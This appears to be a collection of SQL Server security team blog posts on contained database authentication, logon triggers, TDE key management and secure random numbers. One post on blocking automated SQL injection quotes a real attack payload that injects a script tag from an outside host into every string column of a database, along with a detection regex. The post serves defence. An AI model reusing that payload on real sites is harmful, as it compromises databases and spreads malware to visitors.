[3] Policy Based Management How-To’s

http://technet.microsoft.com/en-us/library/bb510408.aspx

[4] EncryptByKey Cryptographic Message Description

http://blogs.msdn.com/b/sqlsecurity/archive/2009/03/29/sql-server-encryptbykey-cryptographic-message-description.aspx

---

Thanks to folks from the SQL Server Core Security Team for their feedback.

Don Pinto - SQL Server Engine

Tips for using DB user with password

Raul Garcia - MS — Wed, 19 Jan 2011 00:51:41 GMT

Creating DB-specific users with password on a contained DB can provide a lot of mobility for applications since it enables the possibility of moving a DB from any particular instance to another one without the need to also manually move login information.

This new capability presents a lot of benefits, but it also implies new challenges and responsibilities for DB administrators and developers in order to deploy securely. Here I present a few tips that should be useful to make use of this new tool.

When using Windows authentication, the only information that is stored on the DB is the SID for the principal and the NetBIOS (domain\name) representation for the user, but no password information is stored. On the other hand, when using T-SQL based user with passwords, the hashed password will be stored within the database. Use Windows authentication for DB-authenticated principals whenever is possible. The fact that these type of deployment relies on Windows for password management is a great chance for minimizing the attack surface area regarding the user credentials.

Because the password hashes for user with password are stored within the database; while the password hashes are salted, and these hashes are not accessible through the regular catalog views, the metadata storing it would be accessible to a DBA or anyone with access to unencrypted DB files. For risk analysis purposes, we should be under the consideration that these passwords may be cracked by a sufficiently motivated adversary with such privileges.

Also following best practices, it is highly recommended that passwords for “user with password” are unique to the DB and not shared across applications (including other DB principals), or other services. If you are considering sharing authentication information across more than one application, I strongly recommend using contained DB Windows authentication or, if not possible, consider using regular login/users in order to avoid unnecessary duplication of authentication information.

I would like the opportunity to emphasize that it is highly discouraged to reuse passwords in multiple applications. If for any reason an adversary may get access to what may be considered a password for low-value assets, he may start trying the same login/password combination on higher value assets. Reusing login/password information in multiple places is a risky password management strategy; for a clear real-world example, we can look at the Gawker Media account information incident in December 2009, where the attackers leveraged on account information reuse to access other websites, including banking information.

When developing a DB for any given application it is important to avoid the deployment of users with predefined passwords the same way you should avoid hard-coding passwords in your application. The risk is exactly the same in the two scenarios: If a preconfigured user with a well-known password is deployed by default, the adversaries will be able to make use of such user/password to access any deployment of the application.

If you need to create out-of-the-box principals for your application, it is strongly recommended to define user-defined roles instead of pre-configured user with password. During the deployment of the application, it should be possible to request the end user to create users (either Windows principals or create T-SQL users with password) and add such principals to the appropriate roles during the setup process. If it is not possible to avoid the creation of preconfigured users with passwords, it is strongly recommended to not use a default password; instead, the recommendation is to set a end user-defined password during the application setup process (i.e. think of the “set SA password” step during SQL Server or Windows process).

Once the application has been deployed and it is in use, there may be an arbitrary number of users for the systems. The ability to have DB-scoped users that can be authenticated by the database itself may be a temptation to grant permissions directly to users since the DB can be moved from one SQL Server instance to another without setting logins; but it is still recommended to grant permissions to user-defined roles and manage role memberships instead of managing permissions directly.

I hope this tips will be helpful in securely deploy and use DB-scoped users.

-Raul Garcia

SDE/T

SQL Server Engine

Contained Database Authentication in depth

Lyudmila Fokina — Wed, 08 Dec 2010 00:24:59 GMT

To connect with contained user credentials you have to specify contained database in the connection string. If no database is specified the connection will try to do traditional authentication as a login in master database. If the database does not support containment, then the user will be logged into master and then connect to the database (as it currently exists in shipping versions of SQL Server).

Note, that in SQL Server “Denali” we introduce Partially Contained databases. Partial Containment implies that some server dependences could still exist in such databases. As such, traditional users mapped to logins can coexist with new contained users in the same database and we support both Server level authentication (connecting with a login) and Database level authentication (connecting with a database user). Moreover, as users and logins don’t share the same namespace, there could be a situation when you have a login login1 in master database and contained user login1 in contained database – they are different entities and both may be able to connect to this contained database (let’s say the login login1 has a corresponding user login2 mapped to it in the contained database) under different circumstances. SQL Server must decide what kind of authentication it is –server level authentication or database level authentication.

Also a Windows Authentication user may or may not have a corresponding login and therefore the trusted connection may use server level authentication or database level authentication.

So, during the login process SQL Server must decide the type of authentication used for this connection. The following algorithm demonstrates how this is determined:

This algorithm has the following consequences:

1. For SQL Server Authentication, if a database is specified in connection string and the database is a contained, then database level authentication will first be attempted and if a matching contained user is not found, then authentication will fall back to the server level and will look for a matching login.

2. If based on the decision made in #1we proceed with database level authentication and password validation fails at the database, then we will terminate the connection and no fallback processing will be involved.

3. The consequence of #2 is that if you have contained database SQL Server user and a SQL Server Authenticated login in master having the same name and try to connect specifying contained database in the connection string you will always end up with database authentication regardless of the password (user’s or login’s) you are specifying. To be able to connect as a login, in this case, you will have to connect to master (or any non contained database) and then switch to the database using ‘USE db’ statement.

Note, that this is a not recommended scenario. Try to avoid such ambiguity to avoid possible confusions.

For Window Authentication, if a login exists for the connecting principal, server level authentication logic will be followed. If no Windows principal or group exists at the server level, the authentication will then proceed at the database level.

Also note, that previously existed user without login (Create user user_01 without login) is a different then contained user with password and cannot login the SQL Server.

Contained Database Authentication: How to control which databases are allowed to authenticate users using logon triggers

Raul Garcia - MS — Tue, 07 Dec 2010 01:52:00 GMT

With the release of Microsoft SQL Server code-name “Denali” Community Technology Preview 1 (CTP1) and the introduction of Contained Database (CDB) (http://msdn.microsoft.com/en-us/library/ff929071(SQL.110).aspx ), we also introduced the capability of database authentication (http://msdn.microsoft.com/en-us/library/ms173463(v=SQL.110).aspx , http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/03/contained-database-authentication-introduction.aspx, http://blogs.msdn.com/b/sqlsecurity/archive/2010/12/04/contained-database-authentication-monitoring-and-controlling-contained-users.aspx).

Since the configuration setting that governs CDB & database authentication is a server scoped setting and the option to modify the containment property for a database is database -scoped; some DBAs may be wondering how to control which databases are allowed to authenticate users.

Database authentication still fires logon triggers, therefore providing a server-scoped access control where the DBA can specify a policy based on the authentication information available. Below are a few of the tools you may find useful when creating logon triggers that are CDB-authentication ready.

The information provided by sys.dm_exec_sessions has changed slightly to reflect this new authentication option.

A new column, authenticating_database_id has been added to sys.dm_exec_sessions that displays the database that authenticated the session:

· When the session is an internal task, the value for this new column will be null

· When t he session uses server-scoped authentication (i.e. T-SQL login, or Windows authentication with full server access), the value is 1 (i.e. the id of master database)

· When the session is a CDB authenticated session, the value is the DB_ID of the authenticating database at the time of the authentication.

Since the database -authenticated token doesn’t have any server-token information (i.e. there is no login), the suser_sname() and any error message referencing the login name (for example, when trying to access another database) will display the SID in string format, for example:

1> use db_test3

2> go

Msg 916, Level 14, State 1, Server RAULGA-VM03, Line 1

The server principal "S-1-9-3-3323865656-1154615280-1570172340-4238753615." is not able to access the database "db_test3" under the current security context.

In order to find the user name used in the connection string, you can make use of another column from sys.dm_exec_sessions: original_login_name. This column should return the user name used in the connection string.

It is very important to notice that all of these values are set for the session at the time the session was established, but may not reflect the current state of the server. For example, the user name for the principal may have changed, but the original_login_name column information would still reflect the name used during the authentication (The SID would still be the same in this case).

Now, putting it all together, here is a simple example of a trigger that would restrict authentication based on the authentication DB_ID.

/***************************************************************

* Sample code for CDB authentication-aware logon trigger

* Author: Raul Garcia

* Date: 11/12/2010

* This code is provided as-is and confers no rights or warranties.

* This code is based on a CTP version of SQL Server, which is considered a work in progress.

* Microsoft SQL Server code-name “Denali” Community Technology Preview 1 (CTP1)

****************************************************************/

-- Since logon triggers are server-scoped objects,

-- we will create any necessary additional objects in master.

-- This would give DBA better control over these objects since

-- only privileged principals should have privileges to alter them

USE master

CREATE TABLE [dbo].[t_logon_authentication_dbs](db_id bigint primary key);

-- We want anyone to be able to access this data for read-only purposes

GRANT SELECT ON [dbo].[t_logon_authentication_dbs] TO public;

-- Add the DB id for all of the DBs authorized to authenticate

-- including/excluding master DB

INSERT INTO [dbo].[t_logon_authentication_dbs] VALUES (db_id('master'));

-- This logon trigger will verify the authenticating DB_ID and verify if

-- it matches one of the authorized DBs.

-- If it does, it allows the logon process to continue,

-- otherwise it will rollback, causing the session to terminate

CREATE TRIGGER trig_logon_db_authentication

ON ALL SERVER

FOR LOGON

BEGIN

DECLARE @dbid bigint;

SELECT @dbid = authenticating_database_id FROM sys.dm_exec_sessions WHERE session_id = @@spid;

IF NOT (EXISTS(SELECT * FROM [dbo].[t_logon_authentication_dbs] WHERE db_id = @dbid ))

BEGIN

ROLLBACK;

END

END;

------------------------------------------------

-- For demonstration purposes, we will create a partially contained DB where we will:

-- * Create a user with password

-- * Try to connect with this newly created user

CREATE DATABASE db_cdb_test CONTAINMENT = PARTIAL;

USE db_cdb_test;

CREATE USER user_test WITH PASSWORD = 'S0m3 P@ssw0rD! 4D3M0';

/****************************************************************************

* Running from the command line:

>sqlcmd -S MyServer -U user_test -P "S0m3 P@ssw0rD! 4D3M0" -d db_cdb_test

Msg 17892, Level 14, State 1, Server MyServer, Line 1

Logon failed for login 'S-1-9-3-538751325-1104058235-1199607715-665140684.' due to trigger execution.

****************************************************************************/

-------------------------------------------------------------

-- DBA can add/remove DB IDs as necesary

-- In this case we will allow db_cdb_test to authenticate

USE master;

INSERT INTO [dbo].[t_logon_authentication_dbs] VALUES (db_id('db_cdb_test'));

/****************************************************************************

* Running from the command line:

>sqlcmd -S MyServer -U user_test -P "S0m3 P@ssw0rD! 4D3M0" -d db_cdb_test

1> SELECT user_name();

2> GO

--------------------------

user_test

(1 rows affected)

****************************************************************************/

Thanks to Sameer Tejani, Rick Byham for their feedback.

-Raul Garcia
SDE/T
SQL Server Engine

Contained Database Authentication: Monitoring and controlling contained users

Lyudmila Fokina — Sat, 04 Dec 2010 01:58:12 GMT

Enabling contained database authentication on an instance allows db owners (and other privileged db users) to create and manage users who can connect to the database on the instance. However, the instance administrator (or other privileged server principal) may want to monitor database authentication – users and connections.

Here are some queries which should help monitor and control contained users from the instance level.

1. Detect that contained database authentication is enabled at the instance:

sp_configure 'show advanced', 1;

RECONFIGURE WITH OVERRIDE;

sp_configure 'contained database authentication';

2. List of contained databases on the instance:

SELECT database_id, name, containment_desc FROM sys.databases

WHERE containment > 0;

3. Users who can connect to the CDB. This includes all Windows users and groups, plus users with passwords in contained db (for example in db_Contained database):

SELECT principal_id, name, type_desc, authentication_type_desc

FROM db_Contained.sys.database_principals

WHERE authentication_type IN (2, 3);-- either user with password or Windows user\group

4. Current database authenticated sessions:

SELECT es.session_id, es.login_time, es.original_login_name, db.name AS 'CDb name'

FROM sys.dm_exec_sessions AS es JOIN sys.databases AS db

ON es.authenticating_database_id = db.database_id AND es.authenticating_database_id > 1;

Note, that Authenticating DatabaseId in the sys.dm_exec_sessions DMV is the Id of the database where the user was authenticated. For Server level authentication this is always master (Id = 1).

Read more about database authentication in further posts and in Books Online .

Contained Database Authentication: Introduction

Lyudmila Fokina — Fri, 03 Dec 2010 03:45:42 GMT

In Microsoft SQL Server code-name “Denali” Community Technology Preview 1 (CTP1) we introduced the Contained Database (CDB) feature.

As the name suggests, self-contained database have no external dependencies. Contained databases can therefore be easily moved to another server and start working instantly without the need of any additional configuration.

One of the key features of a CDB is the ability to remove the reliance upon logins so that the database will become more portable. As a result the concept of Contained Users is introduced in SQL Server “Denali”.

A contained user is a user without a login in the master database which resides in a Contained Database and can connect to this database specifying its credentials in the connection string. For SQL Server Authentication Users, this implies that the password will have to be provided when such users are created; Windows Authentication Users can be created the same way they are traditionally created:

-- A member of the sysadmin fixed server role must explicitly enable contained database authentication on the instance of SQL Server

sp_configure 'show advanced', 1;

RECONFIGURE WITH OVERRIDE;

sp_configure 'contained database authentication', 1;

RECONFIGURE WITH OVERRIDE;

-- To create contained db you have to specify CONTAINMENT property

CREATE DATABASE db_Contained

CONTAINMENT = PARTIAL;

USE db_Contained;

-- Create a contained SQL Server Authentication user

CREATE USER usr_Contained

WITH PASSWORD = 'LJDUT9!@$';

-- Create a Windows Authentication user

CREATE USER [DOMAIN\User_01];

User that resides entirely within a database is considered contained. Such user can only connect to the database where they have been created, cannot change database and has virtually no permissions outside of this database.

Note, that a Windows Authentication user created above could be contained or not-contained depending on the existence of a corresponding login DOMAIN\User_01. If the login exists, the newly created user is not contained and can go outside of the contained database where he may have some permissions associated to the corresponding login. If such a login doesn’t exist, the user is contained, has virtually no permissions outside of the database, and can only connect to the database where he resides. Therefore, a Windows Authentication user can change its containment behavior when a Windows Authentication login is created or dropped or when the database is moved to another instance of SQL Server where, again, such a login may or may not exist. However, typically it shouldn’t affect the application’s behavior because inside the database the user will possess the same permissions independently of its containment status. How a user connects and whether they get a full login or just a contained login will be covered in future post.

To connect with contained database user credentials you have to specify the contained database in the connection string. If no database is specified, the connection will attempt traditional authentication as a login in the master database.

Read more about database authentication in further posts.

Guest account in User Databases

Jack Richins — Fri, 24 Sep 2010 21:13:02 GMT

Andreas Wolter recently posted yet another reason to keep guest disabled on user databases in SQL Server. He also points out some reasons why developers shouldn’t have access to production systems, but I’d like to focus on the implications for guest. As Andreas summarizes at the end of his post,

“never use the guest account for data that is not really supposed for everyone.”

Absolutely agree! Guest is disabled by default in all user databases and should remain so – guest really does mean everyone. There is no way to keep someone that has access to SQL Server from leveraging an enabled guest account – that is how guest is designed to work. No planned changes will alter this guidance. If you need broad access to a database but with some exceptions, it is preferable to use Windows group accounts with broad membership to provide that access and then deny as needed. For SQL authenticated users, explicitly provision the individual logins which need access.

I should also point out that guest is needed for the proper functioning of some of our system databases – such as tempdb. But here the situation is that everyone on the SQL Server instance really does need access to this database for temporary objects. See Buck Woody’s post Don’t mess with the system databases in SQL Server, or Error: 916 for more information.

rand vs. crypt_gen_random

Raul Garcia - MS — Fri, 10 Sep 2010 02:42:00 GMT

Many applications need to generate random data, and in order to help in this task they typically rely on pseudorandom number generators (PRNG). Typical PRNGs are deterministic in nature and therefore they are not cryptographically suitable, this is the case of the built-in RAND (http://msdn.microsoft.com/en-us/library/ms177610.aspx) in SQL Server.

If your T-SQL application needs to use a cryptographically secure PRNG (CSPRNG), an alternative is to use CRYPT_GEN_RANDOM (http://msdn.microsoft.com/en-us/library/cc627408.aspx). As the documentation online suggests, this builtin is pretty much a T-SQL wrapper around the Crypto API (CAPI) function CryptGenRandom (http://msdn.microsoft.com/en-us/library/aa379942.aspx) using the Microsoft CSP.

Since CRYPT_GEN_RANDOM return value is a varbinary it can easily be consumed as such (binary data) or converted to any T-SQL data type compatible with such conversion, such as int and bigint, for example:

SELECT crypt_gen_random(4)

SELECT convert( int, crypt_gen_random(4)) SELECT convert( bigint, crypt_gen_random(8))

For more detailed information on how the CryptGenRandom works, please see the remarks section on the CryptGenRandom documentation online at: http://msdn.microsoft.com/en-us/library/aa379942(VS.85).aspx.

NOTE: A quick word of warning when converting to some data types such as varchar or nvarchar, the output may contain invalid (or unprintable) characters.

Security Checklists on TechNet Wiki

Jack Richins — Mon, 26 Jul 2010 20:34:05 GMT

Rick Byham, our wonderful technical writer, just posted some checklists you may find useful on the TechNet Wiki. You can search the wiki for word checklist or use these links:

Database Engine Security Checklist: Encrypting Sensitive Data
Database Engine Security Checklist: Enhancing the Security of Database Engine Connections
Database Engine Security Checklist: Limiting Access to Data
Database Engine Security Checklist: Database Engine Security Configuration

It's a wiki, so feel free to correct, comment, etc. Hope this becomes a good resource for the collective knowledge out there on these topics. Thanks Rick!

DEK and the Log

Zubair Ahmed Mughal - MSFT — Wed, 14 Jul 2010 00:47:00 GMT

In my previous post I talked about DEK management and how it is stored in the database. In this post I will try to give an overview of how the database log file is encrypted by TDE and what are the implicataions of key rotations (DEK or encryptor changes) on the log file.

TDE encrypts the database log file along with the database to protect the entire database at rest. Also note that TDE also encrypts tempdb when one or more of the databases on the server are encrypted, this is to protect data leakage via temporary objects. Some basic knowledge of the Log and its logical structure will help in understanding this post.

Logical Structure of the Log file:

We will discuss the logical (not physical) structure of the log file since it is easier to understand log encryption that way. Logically, a log file consists of a series of virtual log files (VLF) and each VLF has its own header. The tricky part with the log file is that we cannot encrypt the entire log file in one single sweep like the database file, therefore each VLF is encrypted separately and the encryptor information is placed in the VLF header. When the log manager has to read a particular VLF (let's say for recovery) then it uses the encryptor information in the VLF header to locate the encryptor and decrypts the VLF.

To completely understand some of the implications of log encryption, we'll look at the state of the log as we enable encryption and then later on change the encryptor or the DEK. Finally, we'll see how the log manager uses these VLFs to recover a database.

Unencrypted Log:

Imagine the following series of blocks as the logical log file, where each block represents a VLF. Initially, we are in VLF1 and the current LSN is somewhere inside VLF1

Encryption Turned ON:

When TDE is enabled on the database, the current VLF is filled with non-operational commands and a new VLF (VLF2) is created. As mentioned earlier, each VLF has one header which contains the encryptor information, so anytime the encryptor information changes the log is rolled over to the next VLF boundary. The next VLF will have the new DEK (DEK_1) and the thumbprint of the encryptor of the DEK in the header. Any additions to the log file will be added to VLF2 and will be encrypted.

When VLF2 is full, a new VLF will be created as usual, but since encryption is on so the new VLF will have the DEK and its information in its header and it will be encrypted as well.

VLF Header

VLF header contains information very similar to the database boot page. Essentially, it contains the encrypted DEK, the encryptor type and the thumbprint of the encryptor:

DEK or encryptor change:

If a new DEK is generated or the encryptor of the DEK is changed, the log is rolled over to the next VLF boundary and the new VLF (VLF4) will have the new DEK and encryptor information. Let's assume a new DEK (DEK_2) was generated using ALTER DATABASE ENCRYPTION KEY REGENERATE… DDL. VLF3 will be filled again with non-operational commands and VLF4 will be created which will be encrypted by the new DEK.

Decrypting VLFs:

In case of recovery or rollback, SQL Server may have to traverse the log file, i.e. the VLFs. Since each VLF has its own header, it can be independently decrypted. Now let's assume that SQL Server has to decrypt all the VLFs from 1 to 4. VLF1 is unencrypted so it will be read as is. VLF2 is encrypted by DEK_1, even though the current DEK of the database is DEK_2. Since the VLF header contains the encrypted DEK along with the encryptor's information, SQL Server can decrypt the DEK and the VLF. Same thing happens for VLF3; finally for VLF4 the DEK's header contains DEK_2 and its encryptor's information, so VLF4 will be decrypted as well.

Database Encryption Key (DEK) management

Zubair Ahmed Mughal - MSFT — Mon, 14 Jun 2010 22:42:00 GMT

This post will talk about DEK, what it is and how it is securely stored and managed inside a database. Before enabling TDE a DEK must be created which is used to encrypt the contents of the database. It is a symmetric key and supported algorithms are AES with 128-bit, 192bit, or 256bit keys or 3 Key Triple DES. Once TDE is enabled on a database then the DEK is used to encrypt the contents of the database and the log. When TDE is enabled for any database on the server, TempDB is also encrypted and its DEK is managed internally by SQL Server.

DEK Storage:

Database encryption key is stored inside the database boot page; the contents of this boot page are not encrypted so the DEK has to be encrypted by another key; we call it the DEK's encryptor. Currently SQL Server allows encrypting a DEK by either a Server Certificate or an EKM Asymmetric key. Besides the DEK, the boot page also contains other information necessary to identify and open an encrypted database.

DEK's encryptor:

Note that both DEK encryption options, EKM Asymmetric Key and Server Certificate have to be present outside the encrypted database for SQL Server to be able to decrypt the DEK and subsequently the database; therefore it is required that the encryptor must be present in the Master database. In case of a certificate it is strongly recommended that you backup both the certificate and the private key since losing it will mean losing all the data in an encrypted database. In case of an EKM key, the Asymmetric key resides on the HSM which makes management a little easier. In either case it is important to hold on to this encryptor as long as the database or the log is dependent on it.

When you restore or attach a TDE database on another server make sure that the encryptor is present on this server as well. In case of a certificate, restore it with its private key on this server; in case of an EKM key, the provider and the key should be available on this server as well.

Before going into further detail let's see how all of this fits together:

DEK's encryptor:

The above diagram shows the basic layout of DEK in an encrypted database and how it is protected; the blue arrows indicate encryption, X àY means X is encrypted by Y. The boot page is not encrypted and contains the encrypted DEK which encrypts all the data pages. The diagram also shows previous DEK which is encrypted by current DEK, this is to handle DEK rotation.

Insider Information:

Generating a new Database encryption Key is referred as DEK rotation, look at Alter DEK DDL for the syntax and details. Regenerating a DEK triggers an encryption scan which re-encrypts the entire database with the new DEK. The encryption scan is 'resumable', i.e. in case of any interruptions SQL Server will resume this encryption scan on startup. Each page's header contains the information of about the DEK which was used to encrypt this page. When SQL Server has to decrypt a page, it looks at the page header to find out whether the current or the old DEK should be used for decryption. Therefore, the previous DEK is kept in the boot page to make the encryption scan work across server shutdown or other interruptions.

Boot page also contains information about the encryptor which helps SQL Server look it up in Master database. The certificate should have a private key and it should be decryptable on the machine, i.e. it should be encrypted by DMK which should be encrypted by SMK. For any reason, if SQL Server fails to decrypt the private key of the certificate, it won't be able to decrypt the DEK and database. If the DEK is encrypted by an EKM key then SQL Server should be able to connect to the HSM, access the key and decrypt the key. Refer to MSDN on how to setup EKM to work with TDE.

Putting it all together:

Looking at the above diagram one can see how SQL Server opens the DEK of an encrypted database. On opening an encrypted database SQL Server first opens up the boot page which contains the DEK and the information on how to decrypt it. It then looks at the encryptor type and thumbprint, which is used to find the certificate or asymmetric key in the Master database. Once the encryptor is located, it can then be used to decrypt the DEK. Finally, this decrypted DEK is used to decrypt the actual data pages as they are read from and written to disk.

What's next?

In the next entry I will discuss the encryption of the log file by TDE and why it is important to know about this. Feel free to leave feedback, suggestions or ideas for future posts around TDE.

TDE, DEK and the LOG

Zubair Ahmed Mughal - MSFT — Fri, 04 Jun 2010 22:52:12 GMT

Transparent Database Encryption (TDE) was introduced in SQL Server 2008 to allow users to encrypt databases without affecting any applications. Before reading this blog I would suggest reading Sung Hsueh’s whitepaper on TDE and MSDN as it covers a lot of basics. In this blog, or rather series of blog posts I will discuss some topics in a bit more detail, especially those around which we have seen most customer questions. Feel free to suggest anything else that you would like to be a part of this blog; I’ll start off with these topics:

1. Database Encryption Key (DEK) management:

How SQL Server stores, manages and secures DEK(s) and how is used to start up an encrypted database.

2. TDE and the Log:

How the database log is encrypted using TDE and what are its implications.

3. Dependence on old certificates:

How a log can be dependent on an old certificate

Based on the feedback, I can add more specific topics and scenarios. So let me know, if there is something around TDE that you would specifically like to know and I’ll try to accommodate that in this series.

Blocking automated SQL injection attacks

Bala Neerumalla — Tue, 27 Apr 2010 19:56:00 GMT

SQL injection attacks have been on the rise in the last two years, mainly because of automated tools. We first witnessed these automated attacks in December 2007, and since then very little has changed in the way that these attacks work. Attackers use these automated tools to query search engines for interesting URLs and blast each one with various SQL injection payloads, with the end goal of injecting malicious JavaScript into all string columns in all tables. Microsoft has provided guidance (http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx) and some tools (http://www.microsoft.com/technet/security/advisory/954462.mspx) to combat these attacks.

Today I would like discuss another technique that one can use to block these automated SQL injection attacks against web applications using Microsoft SQL Server as the backend. Before I go into the technique, I would like to reiterate that using parameterized queries is the best way to mitigate SQL injection vulnerabilities in web applications. You can read this Quick Security Reference document on SQL injections that details various classes of SQL injection vulnerabilities and how to address them in design, development and testing phases.

Any generic SQL injection attack that has to work on multiple web sites will have to construct a dynamic SQL statement to take some malicious action. Let’s examine the following payload used by the automated SQL injection attack:

DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0x4400450043004C0041005200450020......F007200%20AS%20NVARCHAR(4000));EXEC(@S);--

When you remove the encoding, we end up with the following TSQL code:

DECLARE @S NVARCHAR(4000);

SET @S=CAST(0x4400450043004C0041005200450020……F007200 AS NVARCHAR(4000));

EXEC(@S);--

This statement declares a string variable (@S) containing a long hex value converted into a string, and then executes that string as a SQL statement. If one has to build a signature to detect this attack, declare, @<somechars>, varchar, and exec are the keywords that one has to use to construct this payload in that specific order.

It is not necessary that the attacker use hex encoding, as shown in the previous attack. They could have executed the following TSQL script as the main payload:

DECLARE @T varchar(255),@C varchar(255)

DECLARE Table_Cursor CURSOR FOR

select a.name,b.name from sysobjects a,syscolumns b

where

a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)

OPEN Table_Cursor

FETCH NEXT FROM Table_Cursor INTO @T,@C

WHILE(@@FETCH_STATUS=0)

BEGIN

exec('update ['+@T+'] set ['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script src=http://www.2117966.net/f***jp.js></script>''')

FETCH NEXT FROM Table_Cursor INTO @T,@C

END

CLOSE Table_Cursor

DEALLOCATE Table_Cursor

Without going into details of what this script is doing, if you observe carefully you will see that it also uses declare, @<somechars>, varchar, and exec in that specific order.

So if we develop a regular expression that matches these keywords, we end up with the following:

[dD][\%]*[eE][\%]*[cC][\%]*[lL][\%]*[aA][\%]*[rR][\%]*[eE][\s\S]*[@][a-zA-Z0-9_]+[\s\S]*[nN]*[\%]*[vV][\%]*[aA][\%]*[rR][\%]*[cC][\%]*[hH][\%]*[aA][\%]*[rR][\s\S]*[eE][\%]*[xX][\%]*[eE][\%]*[cC][\s\S]*

I included both upper case and lower case letters and an optional % character after each character, as ASP seems to silently strip % characters that are not followed by two hex characters (0-9, A-F). Some automated attacks use these extra % characters to bypass blacklisted keywords.

This regular expression should effectively catch most of the generic automated SQL injection attacks. But it won’t catch targeted attacks that inject the UNION operator or inference payloads to read the backend objects, and then execute a non-dynamic SQL statement.

Now that we have a regular expression, we need to match incoming web requests against this regular expression. One of the earlier recommended tools from the IIS team is called URLScan. This tool helps server operators defend against attacks by scanning URLs for a keyword or a set of keywords, but it doesn’t have the ability to match a URL against a regular expression. The IIS team has shipped a new module for IIS 7, URL Rewrite, that has more features, including regular expression matching. Nazim Lala has blogged about using URL Rewrite to block automated SQL injection attacks using this regular expression. You can check it out at http://blogs.iis.net/nazim/archive/2010/03/23/blocking-sql-injection-using-iis-url-rewrite.aspx.

You can also use this technique to block generic automated SQL injection attacks if you use a firewall product that lets you create blocking rules using regular expressions.

-Bala Neerumalla

SQL Server Authentication Troubleshooter

Raul Garcia - MS — Tue, 30 Mar 2010 04:33:00 GMT

I am posting this article on behalf of my teammate Lyudmila.

A new tool to help investigate ‘Login Failed’ errors in SQL Server has been recently implemented and published on CodePlex: http://ssat.codeplex.com/

The tool is implemented in C# and uses xEvents to capture “Login Failed” errors. It also uses security ring buffer information (from sys.dm_os_ring_buffers) to retrieve error related information and do the analysis.

It is published under the Microsoft Public License (more details here: http://ssat.codeplex.com/license).

Currently it is implemented as a simple command line tool. There is still room for improving this tool to make it more useful in general, so any contribution or feedback you have is welcome!

You can download sources and binary, play with the tool, submit your changes (if you want to contribute to the tool) or just give your feedback and suggestions on discussion page ( http://ssat.codeplex.com/Thread/List.aspx ).

More details about the tool:

There could be number of reasons for ‘Login Failed’ error in SQL Server– from insufficient permissions and policy problem to a Win API failure. This tool will help an Administrator of the SQL Server to find out why some particular login is failing to get authenticated. All the knowledge used in the tool is actually available to the customers, but unfortunately because of lack of documentation and the logic complexity it often becomes difficult to find the exact cause. The goal of this tool is to help analyze all available information and give a suggestion about the cause of the failure.

Limitations:
- The tool can work with SQL Server 2008 and later versions;
- You have to be able to connect to SQL Server as an Administrator (Control Server permissions required).

- This tool only currently investigates issues on the SQL server side, and if there are issues in Windows (e.g. Kerberos authentication issues), it will not be able to pinpoint. Hopefully, we can improve that in future versions.

Usage:

There are two modes the tool can operate in: monitoring mode and analyzing mode.

In analyzing mode the tool will analyze a single login error and return suggestions about possible cause of the error (like: ‘this login was denied connect to the endpoint’, for example or ‘this database is offline’ etc.).

In monitoring mode the tool will just collect the statistics about 'Login failed' errors (statistics will be grouped by error#, client name, application name etc.).

ATSDriver.exe connection_string [-M ]

connection_string Valid SQL Server connection string of a user with Control Server permission in order for tool to capture error information.

-M If started with this flag, the tool will work in monitoring mode, collecting statistics about 'Login failed' errors.

Example:
ATSDriver.exe "server=SQLServer01;Trusted_Connection=true" -M

Instructions:

Start the tool and wait for the prompt (error analyzer mode):

Ready. Try to connect to SQL Server now.
Press 'A' after you hit 'Login failed' error or 'C' for exit.

or (monitoring mode):

Monitoring has been started.
Press 'A' when you are ready to get the statistic or 'C' for exit.

If in 'Error analyzer' mode, try your failing login attempt, then press 'A'. It will take several seconds for the tool to retrieve data and analyze it.
If in 'Monitor' mode, continue your normal workflow; press 'A' when you are ready to get statistics on the 'Login failed' errors. It will take several seconds for the tool to retrieve data and calculate statistics.

Note:
- In Error analyzer mode (without -M flag) the tool analyzes a single error. If multiple 'Login failed' errors
occurred while the tool is in analyzer mode, the report could still be helpful, but it can’t guarantee correctness in this case due to the multiple login errors that are generated.
- In Monitoring mode the tool gets the statistics on all the 'Login failed' errors occurred without further analysis.
- A side effect of this tool (in this version) - the xEvents files will be left in SQL Server Data directory. It is up to the admin (or user of this tool) to delete these files.